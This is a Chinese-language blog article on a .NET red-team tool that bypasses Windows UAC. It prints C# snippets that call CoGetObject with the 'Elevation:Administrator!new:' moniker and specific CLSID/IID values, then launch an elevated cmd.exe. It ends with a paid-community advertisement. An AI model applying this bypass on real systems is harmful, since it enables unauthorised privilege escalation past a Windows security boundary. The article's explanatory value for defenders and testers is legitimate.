当前位置: 首页 > article >正文

.NET 一款通过COM接口绕过UAC的工具

 01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02基本介绍

Sharp4COMBypassUAC.exe 是一款红队渗透工具,用于在 Windows 64位操作系统内网环境中绕过UAC,直接提升到管理员权限并启动一个新的高权限命令行窗口 cmd.exe。

图片

03使用方法

本工具的基本用法非常简单,只需双击运行即可触发 UAC 绕过过程,从而弹出一个以管理员身份启动的 cmd.exe 进程。

图片

04原理解析

本工具的核心在于调用 Windows 系统中的 CoGetObject API 创建一个特权提升的 COM 对象实例。以下是实现步骤及原理的详细分析,首先定义了两个 GUID

Guid clsid = new Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7"); // 代表 COM 类的 CLSID
Guid interfaceID = new Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C"); // 代表接口的 IID

随后,通过 CoGetObject 函数来创建的实例并实现 UAC 绕过,pszName 通过 Elevation:Administrator!new: 前缀和 CLSID 的字符串形式组合,表示创建 COM 对象时需要管理员权限。

    string str = Clsid.ToString("B");
    string pszName = "Elevation:Administrator!new:" + str;
    BypassUAC_csharp.BIND_OPTS3 bind_OPTS = default(BypassUAC_csharp.BIND_OPTS3);
    bind_OPTS.cbStruct = (uint)Marshal.SizeOf(bind_OPTS);
    bind_OPTS.hwnd = IntPtr.Zero;
    bind_OPTS.dwClassContext = 4U;
    return BypassUAC_csharp.CoGetObject(pszName, ref bind_OPTS, InterfaceID);

上述代码中,BIND_OPTS3 结构用于配置 COM 绑定选项,dwClassContext 设置为 CLSCTX_LOCAL_SERVER 值 4U,意味着通过本地服务器创建对象。

随后,工具调用 ShellExec 方法,启动了管理员权限的 cmd.exe进程,具体代码如下所示。

Util.ShellExec("C:\\windows\\system32\\cmd.exe", null, null, 0UL, 5UL);

综上,Sharp4COMBypassUAC.exe 属于高级红队渗透工具,常用于内网渗透活动中的本地权限提升操作。

05.NET安全知识库

图片

图片

星球文化20+个专题栏目涵盖了点、线、面、体等知识面!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

图片

图片


http://www.kler.cn/a/377212.html

相关文章:

  • 平安科技(外包)面试分享
  • 告别复杂协作:Adobe XD的简化替代方案
  • k8s 查看cpu使用率最高的pod
  • 九、Go语言快速入门之map
  • 细腻的链接:C++ list 之美的解读
  • 视频去水印怎么办?两种方法教会你
  • Java学习路线:JUL日志系统(一)日志框架介绍
  • 国产服务器平台离线部署k8s和kubesphere(含离线部署新方式)
  • 【机器学习】 15. SVM 支撑向量机 support vector machine,拉格朗日,软边界,核函数
  • 计算机视觉实验一:图像基础处理
  • xlwings,让excel飞起来!
  • R向量运算c()数组矩阵matrix()
  • MRCTF2020:你传你ma呢
  • C++STL之 set 和 map:介绍及基本使用
  • Skywalking安装教程二:安装Elasticsearch
  • IDEA 打包首个java项目为jar包
  • CNAS软件测试的好处有哪些?上海软件测试中心推荐
  • Qt自定义控件:汽车速度表
  • 11.Three.js使用indexeddb前端缓存模型优化前端加载效率
  • 「Mac畅玩鸿蒙与硬件23」鸿蒙UI组件篇13 - 自定义组件的创建与使用
  • vscode clangd for cuda 插件配置
  • 华为机试HJ19 简单错误记录
  • 管家婆财贸ERP BB087.销售单复制一行
  • 第二十五章 Vue父子通信之sync修饰符
  • JavaScript 生成二维码
  • 【棋盘覆盖——匈牙利算法】